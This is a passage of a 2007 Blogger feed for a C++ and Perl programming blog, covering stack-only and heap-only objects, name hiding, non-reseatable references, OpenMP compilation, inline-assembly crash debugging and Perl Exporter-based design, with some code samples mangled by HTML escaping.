src='https://blogger.googleusercontent.com/tracker/23323574-7925627897500609702?l=meditation-art.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/7925627897500609702'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/7925627897500609702'/><link rel='alternate' type='text/html' href='http://meditation-art.blogspot.com/2007/05/c-static-class-members-awes.html' title='C++: Static class members awes'/><author><name>Fei Liu</name><uri>http://www.blogger.com/profile/12454727186441725070</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-23323574.post-7087590224918881632</id><published>2007-04-25T09:30:00.000-05:00</published><updated>2007-04-25T09:35:30.245-05:00</updated><title type='text'>C++ stack only object</title><content type='html'>To complete the discussion on object creation constraint by memory location. We shall see how one can force object creation on stack only. Again, the code is very simple:&lt;br /&gt;&lt;br /&gt;class A{&lt;br /&gt;    private:&lt;br /&gt;        void * operator new(size_t size) {}&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;int main(){&lt;br /&gt;    A a;&lt;br /&gt;    A * b;&lt;br /&gt;    A * c = new A;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;One needs to declare a private 'operator new' in stack only bound object. The trick is this: C++ distinguishes between 'new operator' (as used in A * c = new A) and 'operator new' (declared in class A). However, beneath the hood, 'new operator' calls 'operator new' to dynamically allocate an object. Once the 'operator new' is declared as private, the built-in 'new operator' can no longer access it and such a class cannot be instantiated on heap.&lt;div class="blogger-post-footer"&gt;Meditation, The Art of Exploitation&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23323574-7087590224918881632?l=meditation-art.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/7087590224918881632'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/7087590224918881632'/><link rel='alternate' type='text/html' href='http://meditation-art.blogspot.com/2007/04/c-stack-only-object.html' title='C++ stack only object'/><author><name>Fei Liu</name><uri>http://www.blogger.com/profile/12454727186441725070</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-23323574.post-1069031932484959143</id><published>2007-04-25T09:19:00.001-05:00</published><updated>2008-04-01T11:10:12.467-05:00</updated><title type='text'>C++ heap only object</title><content type='html'>&lt;blockquote type="cite"&gt;&lt;br /&gt;&gt; Hi all,&lt;br /&gt;&gt; All I want to achieve is restricting the object instantiation in stack&lt;br /&gt;&gt; and allowing the application to instantiate the object only in heap&lt;br /&gt;&gt; using new operator. How to achieve this?&lt;br /&gt;&gt;&lt;br /&gt;&gt; I tried out with the following code.&lt;br /&gt;&gt; Could you please give me the reason for the compilation error for the&lt;br /&gt;&gt; following code:&lt;br /&gt;&gt;&lt;br /&gt;&gt; #include &lt; iostream&gt;&lt;br /&gt;&gt;&lt;br /&gt;&gt; class Temp&lt;br /&gt;&gt; {&lt;br /&gt;&gt; public:&lt;br /&gt;&gt;     friend void* ::operator new (size_t);&lt;br /&gt;&gt;     friend void ::operator delete (void* pDel);&lt;br /&gt;&gt; private:&lt;br /&gt;&gt;     Temp ()&lt;br /&gt;&gt;     {&lt;br /&gt;&gt;         std::cout &lt;&lt; "Temp Ctor" &lt;&lt;;     }&lt;br /&gt;&gt;     ~Temp ()&lt;br /&gt;&gt;     {&lt;br /&gt;&gt;         std::cout &lt;&lt; "Temp Dtor" &lt;&lt;;     }&lt;br /&gt;&gt; };&lt;br /&gt;&gt;&lt;br /&gt;&gt; int&lt;br /&gt;&gt; main ()&lt;br /&gt;&gt; {&lt;br /&gt;&gt;     Temp *pT = new Temp;&lt;br /&gt;&gt;     delete pT;&lt;br /&gt;&gt;&lt;br /&gt;&gt;     // Temp tempObj;            // Should be disallowed&lt;br /&gt;&gt;     return 0;&lt;br /&gt;&gt; }&lt;br /&gt;&gt;&lt;br /&gt;&gt; Compilation error received:&lt;br /&gt;&gt; ---------------------------------------&lt;br /&gt;&gt; heap.cpp: In function 'int main()':&lt;br /&gt;&gt; heap.cpp:9: error: 'Temp::Temp()' is private&lt;br /&gt;&gt; heap.cpp:22: error: within this context&lt;br /&gt;&gt; heap.cpp:13: error: 'Temp::~Temp()' is private&lt;br /&gt;&gt; heap.cpp:23: error: within this context&lt;br /&gt;&gt;&lt;br /&gt;&gt; Please help me in instantiating the Temp object only in heap, not in&lt;br /&gt;&gt; stack.&lt;br /&gt;&gt;&lt;br /&gt;&gt; thanks&lt;br /&gt;&gt; Sukumar R&lt;br /&gt;&gt;&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;This code is overly complicated, to prevent object creation/destruction on stack, one just needs to declare a private destructor. Think about the life time of a stack object. It's created upon entrance of the function and destroyed before leaving the function. The compiler must have access to both constructors and destructor. It's inconvenient or maybe undesirable to declare private constructors but it's always straightforward to declare a private destructor.&lt;/iostream&gt;&lt;div class="blogger-post-footer"&gt;Meditation, The Art of Exploitation&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23323574-1069031932484959143?l=meditation-art.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/1069031932484959143'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/1069031932484959143'/><link rel='alternate' type='text/html' href='http://meditation-art.blogspot.com/2007/04/c-heap-only-object.html' title='C++ heap only object'/><author><name>Fei Liu</name><uri>http://www.blogger.com/profile/12454727186441725070</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-23323574.post-2823423692433012955</id><published>2007-04-24T15:41:00.001-05:00</published><updated>2008-04-01T11:09:01.310-05:00</updated><title type='text'>It's easy to make mistakes while coding C++</title><content type='html'>I was reading CLC++ today and found this little gem. It's got 3 glaring problems in 23 lines of C++ code.&lt;br /&gt;&lt;br /&gt;&lt;blockquote type="cite"&gt;&lt;br /&gt;Guys, I have the following piece of code. Could you please help me understand why&lt;br /&gt;b.ToString( ) cannot be called while b.foo( ) can? When I compile I get (gcc, but  visual studio gives the same pretty much). Thanks&lt;br /&gt;&lt;br /&gt;$ g++ -Wall foo.cpp&lt;br /&gt;foo.cpp: In function `int main(int, char**)':&lt;br /&gt;foo.cpp:21: error: no matching function for call to `Bar::ToString()'&lt;br /&gt;foo.cpp:14: note: candidates are: virtual std::string Bar::ToString(std::string&amp;) const&lt;br /&gt;&lt;br /&gt;#include &lt; stdlib.h&gt;&lt;br /&gt;#include &lt; string&gt;&lt;br /&gt;using namespace std;&lt;br /&gt;&lt;br /&gt;template &lt; typename&gt; class Foo {&lt;br /&gt;public:&lt;br /&gt;  virtual std::string ToString (std::string&amp; pfx) const = 0;&lt;br /&gt;  std::string ToString ( ) const { return(ToString(std::string( ))); }&lt;br /&gt;  virtual void* _foo ( ) const = 0;&lt;br /&gt;  void* foo( ) const { return (_foo( )); }&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;class Bar: public Foo&lt; int&gt; {&lt;br /&gt;public:&lt;br /&gt;  std::string ToString (std::string&amp; pfx) const { return (std::string("test")); }&lt;br /&gt;  void* _foo ( ) const { return(NULL); }&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;int main (int argc, char **argv) {&lt;br /&gt;  Bar b;&lt;br /&gt;  b.foo( );&lt;br /&gt;  b.ToString( );&lt;br /&gt;  return (0);&lt;br /&gt;}&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;Gratz, you have manged to demonstrate two C++ gotchas in your short  code: binding temporaries to non-const reference and name hiding. When  derived class uses same name declared in base class, the name in base  class is hidden. The example below is how you fix them:&lt;br /&gt;&lt;br /&gt;#include &lt; stdlib.h&gt;&lt;br /&gt;#include &lt; string&gt;&lt;br /&gt;using namespace std;&lt;br /&gt;&lt;br /&gt;template &lt; typename&gt; class Foo {&lt;br /&gt;public:&lt;br /&gt;  virtual std::string ToString (const std::string&amp; pfx) const = 0;&lt;br /&gt;  std::string ToString ( ) const { return(ToString(std::string( ))); }&lt;br /&gt;  virtual void* _foo ( ) const = 0;&lt;br /&gt;  void* foo( ) const { return (_foo( )); }&lt;br /&gt;  virtual ~Foo(){}&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;class Bar: public Foo&lt; int&gt; {&lt;br /&gt;public:&lt;br /&gt;  using Foo&lt; int&gt;::ToString;&lt;br /&gt;  std::string ToString (const std::string&amp; pfx) const { return  (std::string("test")); }&lt;br /&gt;  void* _foo ( ) const { return(NULL); }&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;int main (int argc, char **argv) {&lt;br /&gt;  Bar b;&lt;br /&gt;  b.foo( );&lt;br /&gt;  b.ToString( );&lt;br /&gt;  return (0);&lt;br /&gt;} &lt;br /&gt;&lt;br /&gt;Although arguably it's not an issue in this short example, but make it a habit to declare a virtual destructor in the base virtual class. It'll save a lot of headache in the future.&lt;div class="blogger-post-footer"&gt;Meditation, The Art of Exploitation&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23323574-2823423692433012955?l=meditation-art.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/2823423692433012955'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/2823423692433012955'/><link rel='alternate' type='text/html' href='http://meditation-art.blogspot.com/2007/04/its-easy-to-make-mistakes-while-coding.html' title='It&apos;s easy to make mistakes while coding C++'/><author><name>Fei Liu</name><uri>http://www.blogger.com/profile/12454727186441725070</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-23323574.post-5786585105742590758</id><published>2007-04-20T14:44:00.000-05:00</published><updated>2007-04-20T15:10:17.227-05:00</updated><title type='text'>reference type cannot be reseated in C++</title><content type='html'>In C++, a variable can be declared as a reference to a referent object. There are some benefits with reference types, they must be initialized upon construction (note not declaration), for example,&lt;br /&gt;&lt;br /&gt;int x;&lt;br /&gt;int &amp; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_0"&gt;rx&lt;/span&gt; = x;&lt;br /&gt;// int &amp; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_1"&gt;rxa&lt;/span&gt; = x ! Compile error: error: ‘&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_2"&gt;rxa&lt;/span&gt;’ declared as reference but not initialized&lt;br /&gt;&lt;br /&gt;class A {&lt;br /&gt;   int &amp;amp; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_3"&gt;rx&lt;/span&gt;;&lt;br /&gt;   A (int x): &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_4"&gt;rx&lt;/span&gt;(x){ }&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The first case is initialization upon construction via declaration. The 2&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_5"&gt;nd&lt;/span&gt; case however shows that initialization only happens at construction. One can declare a reference type class member without initializing it until class object construction time.&lt;br /&gt;&lt;br /&gt;There is a subtle implication here related to STL container types. The STL containers usually require that an object can be default constructed, copy constructed and copy assigned. When one declare a class with reference type class members, it becomes a problem how to properly initialize the reference type class members at construction time. Remember that a default constructor takes no argument, therefore one cannot initialize the class member through a constructor argument such as shown in the example above (by definition it's no longer a default constructor). One must declare a default constructor in addition to other ones that constructs with arguments. One technique is to use a global variable as a referent for reference type class members such as:&lt;br /&gt;int global;&lt;br /&gt;class A{&lt;br /&gt;  int x;&lt;br /&gt;  public:&lt;br /&gt;    A (): x(global){}&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;But this kind of coding practice is beyond style issue, what's the point of having class members that refer to a global variable that's visible to the entire code scope anyway? Since they will all refer to the same referent global object, it's also less efficient to declare a reference per object. Sadly there does not seem to be any way out of this C++ standard. Here the fix is not to use a reference type but a pointer because pointers are not required to be initialized upon construction. As one can see, the key difference between reference and pointer is 'reference is initialization upon construction', this makes reference much safer to dereference than pointers but at the same time limits its usefulness.&lt;br /&gt;&lt;br /&gt;There is one important property of reference type. That is, reference type cannot be reseated! Once a reference type is initialized upon construction, it's bound to the referent. One cannot change the referent it's bound to through out the reference type lifetime. Often people get confused that one can assign new variables or references to a reference after its initialization, consider the following examples,&lt;br /&gt;&lt;br /&gt;int x;&lt;br /&gt;int &amp; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_6"&gt;rx&lt;/span&gt; = x;&lt;br /&gt;x = 3;&lt;br /&gt;int y = 4;&lt;br /&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_7"&gt;rx&lt;/span&gt; = y;&lt;br /&gt;int &amp; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_8"&gt;ry&lt;/span&gt; = y;&lt;br /&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_9"&gt;rx&lt;/span&gt; = &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_10"&gt;ry&lt;/span&gt;;&lt;br /&gt;&lt;br /&gt;One may think that &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_11"&gt;rx&lt;/span&gt; is changed to refer to different object looking at the code. But it's wrong. &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_12"&gt;rx&lt;/span&gt; is referring to x exclusively. The value of x is changed &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_13"&gt;every time&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_14"&gt;rx&lt;/span&gt; is used as an &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_15"&gt;assisgnee&lt;/span&gt;. Remember that reference type cannot be reseated, it's simply an alias of its referent upon its &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_16"&gt;initialization&lt;/span&gt;. The above example is equivalent with:&lt;br /&gt;int x;&lt;br /&gt;int &amp; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_17"&gt;rx&lt;/span&gt; = x;&lt;br /&gt;x = 3;&lt;br /&gt;int y = 4;&lt;br /&gt;x = y;&lt;br /&gt;int &amp; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_18"&gt;ry&lt;/span&gt; = y;&lt;br /&gt;x = &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_19"&gt;ry&lt;/span&gt;;&lt;br /&gt;&lt;br /&gt;Simply replace every &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_20"&gt;occurrence&lt;/span&gt; of &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_21"&gt;rx&lt;/span&gt; with x, and you see what's going on. As an exercise, see if you can figure out the output of the following code correctly, if you did, then reference type &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_22"&gt;reseating&lt;/span&gt; issue is no longer a &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_23"&gt;myth&lt;/span&gt; to you:&lt;br /&gt;#include &lt;iostream&gt;&lt;br /&gt;using &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_24"&gt;namespace&lt;/span&gt; std;&lt;br /&gt;&lt;br /&gt;int main(){&lt;br /&gt;&lt;br /&gt;   int x = 1;&lt;br /&gt;   int &amp; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_25"&gt;rx&lt;/span&gt; = x;&lt;br /&gt;   &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_26"&gt;rx&lt;/span&gt; = 2;&lt;br /&gt;   &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_27"&gt;cout&lt;/span&gt; &lt;&lt; "x = " &lt;&lt; y =" 3;" class="blsp-spelling-error" id="SPELLING_ERROR_28"&gt;rx&lt;/span&gt; = y;&lt;br /&gt;   &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_29"&gt;cout&lt;/span&gt; &lt;&lt; "x = " &lt;&lt; class="blsp-spelling-error" id="SPELLING_ERROR_30"&gt;rx&lt;/span&gt; = 4;&lt;br /&gt;   &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_31"&gt;cout&lt;/span&gt; &lt;&lt; "y = " &lt;&lt; class="blsp-spelling-error" id="SPELLING_ERROR_32"&gt;ry&lt;/span&gt; = y;&lt;br /&gt;   &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_33"&gt;rx&lt;/span&gt; = &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_34"&gt;ry&lt;/span&gt;;&lt;br /&gt;   &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_35"&gt;ry&lt;/span&gt; = 4;&lt;br /&gt;   &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_36"&gt;cout&lt;/span&gt; &lt;&lt; "x = " &lt;&lt; class="blsp-spelling-error" id="SPELLING_ERROR_37"&gt;cout&lt;/span&gt; &lt;&lt; "y = " &lt;&lt; y &lt;&lt; '\n';&lt;br /&gt;&lt;br /&gt;}&lt;/iostream&gt;&lt;div class="blogger-post-footer"&gt;Meditation, The Art of Exploitation&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23323574-5786585105742590758?l=meditation-art.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/5786585105742590758'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/5786585105742590758'/><link rel='alternate' type='text/html' href='http://meditation-art.blogspot.com/2007/04/reference-type-cannot-be-reseated-in-c.html' title='reference type cannot be reseated in C++'/><author><name>Fei Liu</name><uri>http://www.blogger.com/profile/12454727186441725070</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-23323574.post-1496146131335744139</id><published>2007-04-04T10:56:00.000-05:00</published><updated>2007-04-04T11:00:56.517-05:00</updated><title type='text'>openmp with gcc on fedora core 5</title><content type='html'>There are many code examples using openmp, but it is less obvious exactly how you can actually compile and experiment with openmp. On fedora core 5, gcc 4.1 already has openmp support through compiler modification and openmp library. Make sure you have libgomp installed. Using an openmp example from http://www.kallipolis.com/openmp/1.html, you can compile the source code with the following command line:&lt;br /&gt;g++ -fopenmp -fstrict-aliasing -fomit-frame-pointer -Wall -pedantic -ansi -g -O2    openmp_taylor.cpp   -o openmp_taylor -lgomp&lt;br /&gt;&lt;br /&gt;The important things to note here are -fopenmp (tells gcc to enable openmpp support by parsing openmpp #pragma directives) and -lgomp (the openmp library APIs).&lt;div class="blogger-post-footer"&gt;Meditation, The Art of Exploitation&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23323574-1496146131335744139?l=meditation-art.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/1496146131335744139'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/1496146131335744139'/><link rel='alternate' type='text/html' href='http://meditation-art.blogspot.com/2007/04/openmp-with-gcc-on-fedora-core-5.html' title='openmp with gcc on fedora core 5'/><author><name>Fei Liu</name><uri>http://www.blogger.com/profile/12454727186441725070</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-23323574.post-5655902729937311025</id><published>2007-02-23T14:43:00.001-05:00</published><updated>2008-04-01T11:12:18.141-05:00</updated><title type='text'>Inline assembly with gcc on linux</title><content type='html'>Sometimes, it's useful to test/debug at assembly level. On linux gcc provides inline assembly to directly embed assembly code into your source code. I was chasing a wierd bug in a multi thread application, the program crashed with SIGSEGV with the following information:&lt;br /&gt;&lt;br /&gt;(gdb) bt&lt;br /&gt;#0  0x00d5f3dc in pthread_join () from /lib/libpthread.so.0&lt;br /&gt;#1  0x0804b51b in main (argc=140055452, argv=0x3e8) at main.cpp:214&lt;br /&gt;(gdb) x/20i 0x00d5f3c0&lt;br /&gt;0xd5f3c0 &lt;pthread_join&gt;:        push   %ebp&lt;br /&gt;0xd5f3c1 &lt;pthread_join+1&gt;:      mov    %esp,%ebp&lt;br /&gt;0xd5f3c3 &lt;pthread_join+3&gt;:      push   %edi&lt;br /&gt;0xd5f3c4 &lt;pthread_join+4&gt;:      push   %esi&lt;br /&gt;0xd5f3c5 &lt;pthread_join+5&gt;:      push   %ebx&lt;br /&gt;0xd5f3c6 &lt;pthread_join+6&gt;:      sub    $0x28,%esp&lt;br /&gt;0xd5f3c9 &lt;pthread_join+9&gt;:      call   0xd5d4fa &lt;__i686.get_pc_thunk.bx&gt;&lt;br /&gt;0xd5f3ce &lt;pthread_join+14&gt;:     add    $0xac26,%ebx&lt;br /&gt;0xd5f3d4 &lt;pthread_join+20&gt;:     mov    $0x3,%edi&lt;br /&gt;0xd5f3d9 &lt;pthread_join+25&gt;:     mov    0x8(%ebp),%eax&lt;br /&gt;0xd5f3dc &lt;pthread_join+28&gt;:     mov    0x48(%eax),%ecx &lt;------------- SIGSEGV&lt;br /&gt;0xd5f3df &lt;pthread_join+31&gt;:     test   %ecx,%ecx&lt;br /&gt;0xd5f3e1 &lt;pthread_join+33&gt;:     js     0xd5f4aa &lt;pthread_join+234&gt;&lt;br /&gt;0xd5f3e7 &lt;pthread_join+39&gt;:     mov    $0x16,%di&lt;br /&gt;0xd5f3eb &lt;pthread_join+43&gt;:     cmp    0x200(%eax),%eax&lt;br /&gt;0xd5f3f1 &lt;pthread_join+49&gt;:     je     0xd5f4aa &lt;pthread_join+234&gt;&lt;br /&gt;0xd5f3f7 &lt;pthread_join+55&gt;:     mov    %gs:0x8,%edi&lt;br /&gt;0xd5f3fe &lt;pthread_join+62&gt;:     add    $0x200,%eax&lt;br /&gt;0xd5f403 &lt;pthread_join+67&gt;:     mov    %eax,0x8(%esp)&lt;br /&gt;0xd5f407 &lt;pthread_join+71&gt;:     lea    0xffff53b8(%ebx),%eax&lt;br /&gt;&lt;br /&gt;The prototype of pthread_join is this:  int pthread_join(pthread_t thread, void **value_ptr); Now I couldn't remember how the parameters were passed into a subroutine on the stack, exactly what's in 0x08(%ebp)? Is it thread or value_ptr. Inline assembly to the rescue:&lt;br /&gt;&lt;br /&gt;#include &lt; stdio.h&gt;&lt;br /&gt;&lt;br /&gt;int foo(int x, int y){&lt;br /&gt;    unsigned long int ebp;&lt;br /&gt;    asm("movl %%ebp, %[ebp]" : [ebp] "=m" (ebp));&lt;br /&gt;    printf("$ebp=%x $x=%x $y=%x\n", ebp, &amp;x, &amp;amp;y);&lt;br /&gt;    return x+y;&lt;br /&gt;}&lt;br /&gt;int main(){&lt;br /&gt;    int x = 3, y = 4;&lt;br /&gt;    foo(x, y);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;$ ./addr_t&lt;br /&gt;$ebp=bfb799c8 $x=bfb799d0 $y=bfb799d4&lt;br /&gt;&lt;br /&gt;clearly, gcc on linux passes the paramter following the C argument passing convention, that is the arguments are pushed onto stack from right to left. The stack looks like this (top is higher memory address):&lt;br /&gt;$y&lt;br /&gt;$x&lt;br /&gt;$ret_addr&lt;br /&gt;&lt;br /&gt;And the prelog of pthread_join creates a stack like this:&lt;br /&gt;$y&lt;br /&gt;$x&lt;br /&gt;$ret_addr&lt;br /&gt;$ebp &lt;--------- $ebp = $esp&lt;br /&gt;&lt;br /&gt;It's clear now that 0x08(%ebp) is the address of argment 'thread', and apparently something went wrong and 'thread' contains an invalid memory address in the crashed application.&lt;div class="blogger-post-footer"&gt;Meditation, The Art of Exploitation&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23323574-5655902729937311025?l=meditation-art.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/5655902729937311025'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/5655902729937311025'/><link rel='alternate' type='text/html' href='http://meditation-art.blogspot.com/2007/02/inline-assembly-with-gcc-on-linux.html' title='Inline assembly with gcc on linux'/><author><name>Fei Liu</name><uri>http://www.blogger.com/profile/12454727186441725070</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-23323574.post-3744205695556695829</id><published>2007-02-22T17:33:00.000-05:00</published><updated>2007-02-22T17:34:17.223-05:00</updated><title type='text'>Design and implement large software system</title><content type='html'>I personally found it very efficient to follow the following cycles to  implement large software system:&lt;br /&gt;&lt;br /&gt;1) research, see what features are required, any existing  software/library that can speed up the development, what are the  platforms to support, what tools should be used, etc&lt;br /&gt;&lt;br /&gt;2) design and documentation, express your software system in clear text  what it does, how it does it. Try to be as precise as possible.&lt;br /&gt;&lt;br /&gt;3) unit testing of tools, 3rd party softwares, and libraries, this is  often partially done in phase 1, but at this stage a through and  in-depth unit testing framework should be employed.&lt;br /&gt;&lt;br /&gt;4) I personally prefer developing software by component and writing unit  test alone the way. Never underestimate the power of unit testing, even  the simplest test can save you hours of headache.&lt;br /&gt;&lt;br /&gt;5) packaging and integration. If design is sound and documentation is  clear, software development is simply a matter of man-hour.&lt;br /&gt;&lt;br /&gt;6) more testing.&lt;div class="blogger-post-footer"&gt;Meditation, The Art of Exploitation&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23323574-3744205695556695829?l=meditation-art.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/3744205695556695829'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/3744205695556695829'/><link rel='alternate' type='text/html' href='http://meditation-art.blogspot.com/2007/02/design-and-implement-large-software.html' title='Design and implement large software system'/><author><name>Fei Liu</name><uri>http://www.blogger.com/profile/12454727186441725070</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-23323574.post-8222561493252981185</id><published>2007-02-22T11:52:00.000-05:00</published><updated>2007-02-22T13:04:11.083-05:00</updated><title type='text'>Perl: a practical OO design of complex system</title><content type='html'>In this entry, I'll focus on code reuse design by understanding how Exporter works in a complex &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_0"&gt;perl&lt;/span&gt; &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_1"&gt;hierarchical&lt;/span&gt; software system. The main process daemonizes itself, then it checks its configuration file. For each item listed in the configuration file, it creates a perl object and then daemonizes it.&lt;br /&gt;&lt;br /&gt;Entry:&lt;br /&gt;  Daemonize&lt;br /&gt;  Read config file&lt;br /&gt;  For each config item:&lt;br /&gt;    +fork-----child process---daemonize&lt;br /&gt;     |&lt;br /&gt;    +fork-----child process---daemonize&lt;br /&gt;     ....&lt;br /&gt;&lt;br /&gt;Each config item daemonizes and shares some common code such as new, run (main daemon loop method), etc. In C++, this is mostly likely accomplished like this:&lt;br /&gt;&lt;br /&gt;template &lt;typename&gt;&lt;br /&gt;class base{&lt;br /&gt;   public:&lt;br /&gt;        base(){}&lt;br /&gt;        run(T t){}&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;class HTTP: base&lt;http&gt;{&lt;br /&gt;    public:&lt;br /&gt;         prep_http_header(){}&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;Here we use the CRTP (curious recursive template pattern) to build the hierarchy inherit base class methods run and constructor in derived class such as  a HTTP protocol handler.&lt;br /&gt;&lt;br /&gt;With perl, things are a little different:&lt;br /&gt;&lt;br /&gt;package network::Base;&lt;br /&gt;use base qw(Exporter);&lt;br /&gt;our @EXPORT_OK = qw(new run);&lt;br /&gt;sub new{}&lt;br /&gt;sub run{}&lt;br /&gt;1;&lt;br /&gt;&lt;br /&gt;package network::HTTP;&lt;br /&gt;use network::Base qw(new run);&lt;br /&gt;1;&lt;br /&gt;&lt;br /&gt;By declaring the base class an Exporter, Base module can export symbols to classes that use it. As one may soon realize, OO is quite an interesting design in perl. The language itself is very extensible and by simply exporting/importing symbols, it achieves inheritance through the 'use base' and 'Exporter' module. In fact there is nothing special about Exporter module. All that it does is injecting symbols into packages using it. Because 'Perl automatically calls the &lt;code class="inline"&gt;&lt;a class="l_k" href="http://perldoc.perl.org/functions/import.html"&gt;import&lt;/a&gt;&lt;/code&gt; method when processing a &lt;code class="inline"&gt;&lt;a class="l_k" href="http://perldoc.perl.org/functions/use.html"&gt;use&lt;/a&gt;&lt;/code&gt; statement for a module.', by declaring a Base module inheriting from Exporter, it also inherits the import method and subsequently all modules using Base module will be able to selectively choose symbols to import from Base.&lt;div class="blogger-post-footer"&gt;Meditation, The Art of Exploitation&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23323574-8222561493252981185?l=meditation-art.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/8222561493252981185'/><link rel='self' type='application/atom+xml' 